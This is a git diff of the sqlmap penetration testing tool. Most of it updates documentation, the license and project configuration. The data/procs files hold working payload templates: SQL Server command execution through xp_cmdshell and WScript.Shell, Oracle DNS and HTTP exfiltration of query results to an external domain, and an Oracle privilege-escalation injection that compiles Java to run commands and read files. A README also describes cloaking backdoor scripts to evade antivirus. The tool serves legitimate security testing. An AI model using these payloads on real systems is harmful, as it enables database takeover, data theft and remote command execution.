diff --git a/.gitattributes b/.gitattributes
index 8b6e58fe06..a99321d231 100644
--- a/.gitattributes
+++ b/.gitattributes
@@ -1,4 +1,18 @@
+*.conf text eol=lf
+*.json text eol=lf
+*.html text eol=lf
+*.md text eol=lf
+*.md5 text eol=lf
+*.pl text eol=lf
*.py text eol=lf
+*.sh text eol=lf
+*.sql text eol=lf
+*.txt text eol=lf
+*.xml text eol=lf
+*.yaml text eol=lf
+*.yml text eol=lf
+LICENSE text eol=lf
+COMMITMENT text eol=lf
*_ binary
*.dll binary
diff --git a/.github/CODE_OF_CONDUCT.md b/.github/CODE_OF_CONDUCT.md
new file mode 100644
index 0000000000..2a36badf3f
--- /dev/null
+++ b/.github/CODE_OF_CONDUCT.md
@@ -0,0 +1,46 @@
+# Contributor Covenant Code of Conduct
+
+## Our Pledge
+
+In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
+
+## Our Standards
+
+Examples of behavior that contributes to creating a positive environment include:
+
+* Using welcoming and inclusive language
+* Being respectful of differing viewpoints and experiences
+* Gracefully accepting constructive criticism
+* Focusing on what is best for the community
+* Showing empathy towards other community members
+
+Examples of unacceptable behavior by participants include:
+
+* The use of sexualized language or imagery and unwelcome sexual attention or advances
+* Trolling, insulting/derogatory comments, and personal or political attacks
+* Public or private harassment
+* Publishing others' private information, such as a physical or electronic address, without explicit permission
+* Other conduct which could reasonably be considered inappropriate in a professional setting
+
+## Our Responsibilities
+
+Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
+
+Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
+
+## Scope
+
+This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
+
+## Enforcement
+
+Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
+
+Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
+
+## Attribution
+
+This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
+
+[homepage]: http://contributor-covenant.org
+[version]: http://contributor-covenant.org/version/1/4/
diff --git a/CONTRIBUTING.md b/.github/CONTRIBUTING.md
similarity index 57%
rename from CONTRIBUTING.md
rename to .github/CONTRIBUTING.md
index f7741a7378..2ae8068561 100644
--- a/CONTRIBUTING.md
+++ b/.github/CONTRIBUTING.md
@@ -1,38 +1,36 @@
-# Contributing to sqlmap
-
-## Reporting bugs
-
-**Bug reports are welcome**!
-Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues) or, alternatively, to the [mailing list](https://lists.sourceforge.net/lists/listinfo/sqlmap-users).
-
-### Guidelines
-
-* Before you submit a bug report, search both open and closed issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant.
-* Make sure you can reproduce the bug with the latest development version of sqlmap.
-* Your report should give detailed instructions for how to reproduce the problem. If sqlmap raises an unhandled exception, the traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal.
-* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?*
-* If you are not sure whether something is a bug, or want to discuss a potential new feature before putting in an enhancement request, the [mailing list](https://lists.sourceforge.net/lists/listinfo/sqlmap-users) is a good place to bring it up.
-
-## Submitting code changes
-
-All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:dev@sqlmap.org) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37).
-
-Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests).
-Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next!
-
-### Guidelines
-
-In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
-
-* Each patch should make one logical change.
-* Wrap code to 76 columns when possible.
-* Avoid tabbing, use four blank spaces instead.
-* Before you put time into a non-trivial patch, it is worth discussing it on the [mailing list](https://lists.sourceforge.net/lists/listinfo/sqlmap-users) or privately by [email](mailto:dev@sqlmap.org).
-* Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.
-* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests.
-* Style that is too different from main branch will be ''adapted'' by the developers side.
-* Do not touch anything inside `thirdparty/` and `extra/` folders.
-
-### Licensing
-
-By submitting code contributions to the sqlmap developers, to the mailing list, or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them.
+# Contributing to sqlmap
+
+## Reporting bugs
+
+**Bug reports are welcome**!
+Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues).
+
+### Guidelines
+
+* Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant.
+* Make sure you can reproduce the bug with the latest development version of sqlmap.
+* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal.
+* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?*
+
+## Submitting code changes
+
+All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:dev@sqlmap.org) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37).
+
+Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests).
+Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next!
+
+### Guidelines
+
+In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
+
+* Each patch should make one logical change.
+* Avoid tabbing, use four blank spaces instead.
+* Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:dev@sqlmap.org).
+* Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.
+* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests.
+* Style that is too different from main branch will be ''adapted'' by the developers side.
+* Do not touch anything inside `thirdparty/` and `extra/` folders.
+
+### Licensing
+
+By submitting code contributions to the sqlmap developers or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them.
diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml
new file mode 100644
index 0000000000..e6b299956e
--- /dev/null
+++ b/.github/FUNDING.yml
@@ -0,0 +1 @@
+github: sqlmapproject
diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md
new file mode 100644
index 0000000000..0a2d0fe4ae
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/bug_report.md
@@ -0,0 +1,37 @@
+---
+name: Bug report
+about: Create a report to help us improve
+title: ''
+labels: bug report
+assignees: ''
+
+---
+
+**Describe the bug**
+A clear and concise description of what the bug is.
+
+**To Reproduce**
+1. Run '...'
+2. See error
+
+**Expected behavior**
+A clear and concise description of what you expected to happen.
+
+**Screenshots**
+If applicable, add screenshots to help explain your problem.
+
+**Running environment:**
+ - sqlmap version [e.g. 1.7.2.12#dev]
+ - Installation method [e.g. pip]
+ - Operating system: [e.g. Microsoft Windows 11]
+ - Python version [e.g. 3.11.2]
+
+**Target details:**
+ - DBMS [e.g. Microsoft SQL Server]
+ - SQLi techniques found by sqlmap [e.g. error-based and boolean-based blind]
+ - WAF/IPS [if any]
+ - Relevant console output [if any]
+ - Exception traceback [if any]
+
+**Additional context**
+Add any other context about the problem here.
diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md
new file mode 100644
index 0000000000..e301d68ce7
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/feature_request.md
@@ -0,0 +1,20 @@
+---
+name: Feature request
+about: Suggest an idea for this project
+title: ''
+labels: feature request
+assignees: ''
+
+---
+
+**Is your feature request related to a problem? Please describe.**
+A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
+
+**Describe the solution you'd like**
+A clear and concise description of what you want to happen.
+
+**Describe alternatives you've considered**
+A clear and concise description of any alternative solutions or features you've considered.
+
+**Additional context**
+Add any other context or screenshots about the feature request here.
diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml
new file mode 100644
index 0000000000..0ecd5cd3fb
--- /dev/null
+++ b/.github/workflows/tests.yml
@@ -0,0 +1,28 @@
+on:
+ push:
+ branches: [ master ]
+ pull_request:
+ branches: [ master ]
+
+jobs:
+ build:
+ runs-on: ${{ matrix.os }}
+ strategy:
+ matrix:
+ os: [ubuntu-latest, macos-latest, windows-latest]
+ python-version: [ 'pypy-2.7', '3.13' ]
+ exclude:
+ - os: macos-latest
+ python-version: 'pypy-2.7'
+ steps:
+ - uses: actions/checkout@v2
+ - name: Set up Python
+ uses: actions/setup-python@v2
+ with:
+ python-version: ${{ matrix.python-version }}
+ - name: Basic import test
+ run: python -c "import sqlmap; import sqlmapapi"
+ - name: Smoke test
+ run: python sqlmap.py --smoke
+ - name: Vuln test
+ run: python sqlmap.py --vuln
diff --git a/.gitignore b/.gitignore
index ff18ea7962..1f7f94a3b1 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,5 +1,8 @@
-*.py[cod]
output/
+__pycache__/
+*.py[cod]
.sqlmap_history
traffic.txt
-*~
\ No newline at end of file
+*~
+req*.txt
+.idea/
\ No newline at end of file
diff --git a/doc/COPYING b/LICENSE
similarity index 89%
rename from doc/COPYING
rename to LICENSE
index 38a61d2911..4973329375 100644
--- a/doc/COPYING
+++ b/LICENSE
@@ -1,12 +1,12 @@
COPYING -- Describes the terms under which sqlmap is distributed. A copy
of the GNU General Public License (GPL) is appended to this file.
-sqlmap is (C) 2006-2013 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
+sqlmap is (C) 2006-2025 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
This program is free software; you may redistribute and/or modify it under
the terms of the GNU General Public License as published by the Free
-Software Foundation; Version 2 with the clarifications and exceptions
-described below. This guarantees your right to use, modify, and
+Software Foundation; Version 2 (or later) with the clarifications and
+exceptions described below. This guarantees your right to use, modify, and
redistribute this software under certain conditions. If you wish to embed
sqlmap technology into proprietary software, we sell alternative licenses
(contact sales@sqlmap.org).
@@ -31,6 +31,9 @@ interpretation of derived works with some common examples. Our
interpretation applies only to sqlmap - we do not speak for other people's
GPL works.
+This license does not apply to the third-party components. More details can
+be found inside the file 'doc/THIRD-PARTY.md'.
+
If you have any questions about the GPL licensing restrictions on using
sqlmap in non-GPL works, we would be happy to help. As mentioned above,
we also offer alternative license to integrate sqlmap into proprietary
@@ -46,14 +49,14 @@ to know exactly what a program is going to do before they run it.
Source code also allows you to fix bugs and add new features. You are
highly encouraged to send your changes to dev@sqlmap.org for possible
incorporation into the main distribution. By sending these changes to the
-sqlmap developers, to the mailing lists, or via Git pull request, checking
-them into the sqlmap source code repository, it is understood (unless you
-specify otherwise) that you are offering the sqlmap project the unlimited,
-non-exclusive right to reuse, modify, and relicense the code. sqlmap will
-always be available Open Source, but this is important because the
-inability to relicense code has caused devastating problems for other Free
-Software projects (such as KDE and NASM). If you wish to specify special
-license conditions of your contributions, just say so when you send them.
+sqlmap developers or via Git pull request, checking them into the sqlmap
+source code repository, it is understood (unless you specify otherwise)
+that you are offering the sqlmap project the unlimited, non-exclusive
+right to reuse, modify, and relicense the code. sqlmap will always be
+available Open Source, but this is important because the inability to
+relicense code has caused devastating problems for other Free Software
+projects (such as KDE and NASM). If you wish to specify special license
+conditions of your contributions, just say so when you send them.
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
@@ -343,30 +346,3 @@ PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
-
-****************************************************************************
-
-This license does not apply to the following components:
-
-* The Ansistrm library located under thirdparty/ansistrm/.
-* The Beautiful Soup library located under thirdparty/beautifulsoup/.
-* The Bottle library located under thirdparty/bottle/.
-* The Chardet library located under thirdparty/chardet/.
-* The ClientForm library located under thirdparty/clientform/.
-* The Colorama library located under thirdparty/colorama/.
-* The Fcrypt library located under thirdparty/fcrypt/.
-* The Gprof2dot library located under thirdparty/gprof2dot/.
-* The KeepAlive library located under thirdparty/keepalive/.
-* The Magic library located under thirdparty/magic/.
-* The MultipartPost library located under thirdparty/multipartpost/.
-* The Odict library located under thirdparty/odict/.
-* The Oset library located under thirdparty/oset/.
-* The PageRank library located under thirdparty/pagerank/.
-* The PrettyPrint library located under thirdparty/prettyprint/.
-* The PyDes library located under thirdparty/pydes/.
-* The SocksiPy library located under thirdparty/socks/.
-* The Termcolor library located under thirdparty/termcolor/.
-* The XDot library located under thirdparty/xdot/.
-* The icmpsh tool located under extra/icmpsh/.
-
-Details for the above packages can be found in the THIRD-PARTY.md file.
diff --git a/README.md b/README.md
index accd0da6e3..b569265e06 100644
--- a/README.md
+++ b/README.md
@@ -1,25 +1,26 @@
-sqlmap
-==
+# sqlmap 
-sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+
+sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
Screenshots
----

-You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of features on the wiki.
+You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki.
Installation
----
-You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master).
+You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master).
Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository:
- git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap works out of the box with [Python](http://www.python.org/download/) version '''2.6.x''' and '''2.7.x''' on any platform.
+sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.6**, **2.7** and **3.x** on any platform.
Usage
----
@@ -32,21 +33,48 @@ To get a list of all options and switches use:
python sqlmap.py -hh
-You can find sample runs [here](https://gist.github.com/stamparm/5335217).
-To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki).
+You can find a sample run [here](https://asciinema.org/a/46601).
+To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Links
----
-* Homepage: http://sqlmap.org
+* Homepage: https://sqlmap.org
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* User's manual: https://github.com/sqlmapproject/sqlmap/wiki
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
-* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
-* Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
-* Demos: [#1](http://www.youtube.com/user/inquisb/videos) and [#2](http://www.youtube.com/user/stamparm/videos)
+* X: [@sqlmap](https://x.com/sqlmap)
+* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+
+Translations
+----
+
+* [Arabic](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ar-AR.md)
+* [Bengali](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bn-BD.md)
+* [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md)
+* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md)
+* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
+* [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md)
+* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md)
+* [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md)
+* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-DE.md)
+* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md)
+* [Hindi](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-in-HI.md)
+* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
+* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
+* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
+* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
+* [Kurdish (Central)](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ckb-KU.md)
+* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
+* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
+* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
+* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RU.md)
+* [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md)
+* [Slovak](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-sk-SK.md)
+* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
+* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
+* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md)
+* [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md)
diff --git a/data/html/index.html b/data/html/index.html
new file mode 100644
index 0000000000..576f2763b8
--- /dev/null
+++ b/data/html/index.html
@@ -0,0 +1,151 @@
+
+
+
+
+
+
+ Codestin Search App
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
DEMO
+
+
+
+
+
+
+
+
diff --git a/procs/README.txt b/data/procs/README.txt
similarity index 100%
rename from procs/README.txt
rename to data/procs/README.txt
diff --git a/procs/mssqlserver/activate_sp_oacreate.sql b/data/procs/mssqlserver/activate_sp_oacreate.sql
similarity index 100%
rename from procs/mssqlserver/activate_sp_oacreate.sql
rename to data/procs/mssqlserver/activate_sp_oacreate.sql
diff --git a/procs/mssqlserver/configure_openrowset.sql b/data/procs/mssqlserver/configure_openrowset.sql
similarity index 100%
rename from procs/mssqlserver/configure_openrowset.sql
rename to data/procs/mssqlserver/configure_openrowset.sql
diff --git a/procs/mssqlserver/configure_xp_cmdshell.sql b/data/procs/mssqlserver/configure_xp_cmdshell.sql
similarity index 77%
rename from procs/mssqlserver/configure_xp_cmdshell.sql
rename to data/procs/mssqlserver/configure_xp_cmdshell.sql
index 349c8cf8c3..e23e4b06a4 100644
--- a/procs/mssqlserver/configure_xp_cmdshell.sql
+++ b/data/procs/mssqlserver/configure_xp_cmdshell.sql
@@ -2,5 +2,5 @@ EXEC master..sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC master..sp_configure 'xp_cmdshell',%ENABLE%;
RECONFIGURE WITH OVERRIDE;
-EXEC sp_configure 'show advanced options',0;
+EXEC master..sp_configure 'show advanced options',0;
RECONFIGURE WITH OVERRIDE
diff --git a/data/procs/mssqlserver/create_new_xp_cmdshell.sql b/data/procs/mssqlserver/create_new_xp_cmdshell.sql
new file mode 100644
index 0000000000..005730860f
--- /dev/null
+++ b/data/procs/mssqlserver/create_new_xp_cmdshell.sql
@@ -0,0 +1,3 @@
+DECLARE @%RANDSTR% nvarchar(999);
+set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID';
+EXEC master..sp_executesql @%RANDSTR%
diff --git a/procs/mssqlserver/disable_xp_cmdshell_2000.sql b/data/procs/mssqlserver/disable_xp_cmdshell_2000.sql
similarity index 100%
rename from procs/mssqlserver/disable_xp_cmdshell_2000.sql
rename to data/procs/mssqlserver/disable_xp_cmdshell_2000.sql
diff --git a/procs/mssqlserver/dns_request.sql b/data/procs/mssqlserver/dns_request.sql
similarity index 100%
rename from procs/mssqlserver/dns_request.sql
rename to data/procs/mssqlserver/dns_request.sql
diff --git a/procs/mssqlserver/enable_xp_cmdshell_2000.sql b/data/procs/mssqlserver/enable_xp_cmdshell_2000.sql
similarity index 100%
rename from procs/mssqlserver/enable_xp_cmdshell_2000.sql
rename to data/procs/mssqlserver/enable_xp_cmdshell_2000.sql
diff --git a/procs/mssqlserver/run_statement_as_user.sql b/data/procs/mssqlserver/run_statement_as_user.sql
similarity index 100%
rename from procs/mssqlserver/run_statement_as_user.sql
rename to data/procs/mssqlserver/run_statement_as_user.sql
diff --git a/procs/mysql/dns_request.sql b/data/procs/mysql/dns_request.sql
similarity index 100%
rename from procs/mysql/dns_request.sql
rename to data/procs/mysql/dns_request.sql
diff --git a/procs/mysql/write_file_limit.sql b/data/procs/mysql/write_file_limit.sql
similarity index 87%
rename from procs/mysql/write_file_limit.sql
rename to data/procs/mysql/write_file_limit.sql
index 58fccab0a1..e879fbe403 100644
--- a/procs/mysql/write_file_limit.sql
+++ b/data/procs/mysql/write_file_limit.sql
@@ -1 +1 @@
-LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%--
+LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- -
diff --git a/data/procs/oracle/dns_request.sql b/data/procs/oracle/dns_request.sql
new file mode 100644
index 0000000000..5dda762c08
--- /dev/null
+++ b/data/procs/oracle/dns_request.sql
@@ -0,0 +1,3 @@
+SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
+# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
+# or (CVE-2014-6577) SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual
diff --git a/data/procs/oracle/read_file_export_extension.sql b/data/procs/oracle/read_file_export_extension.sql
new file mode 100644
index 0000000000..3d66bbaf53
--- /dev/null
+++ b/data/procs/oracle/read_file_export_extension.sql
@@ -0,0 +1,4 @@
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
diff --git a/procs/postgresql/dns_request.sql b/data/procs/postgresql/dns_request.sql
similarity index 80%
rename from procs/postgresql/dns_request.sql
rename to data/procs/postgresql/dns_request.sql
index dd04d86632..6724af223c 100644
--- a/procs/postgresql/dns_request.sql
+++ b/data/procs/postgresql/dns_request.sql
@@ -1,4 +1,5 @@
DROP TABLE IF EXISTS %RANDSTR1%;
+# https://wiki.postgresql.org/wiki/CREATE_OR_REPLACE_LANGUAGE <- if "CREATE LANGUAGE plpgsql" is required
CREATE TABLE %RANDSTR1%(%RANDSTR2% text);
CREATE OR REPLACE FUNCTION %RANDSTR3%()
RETURNS VOID AS $$
diff --git a/data/shell/README.txt b/data/shell/README.txt
new file mode 100644
index 0000000000..4c64c41164
--- /dev/null
+++ b/data/shell/README.txt
@@ -0,0 +1,7 @@
+Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
+
+To prepare the original scripts to the cloaked form use this command:
+find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
+
+To get back them into the original form use this:
+find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;
diff --git a/data/shell/backdoors/backdoor.asp_ b/data/shell/backdoors/backdoor.asp_
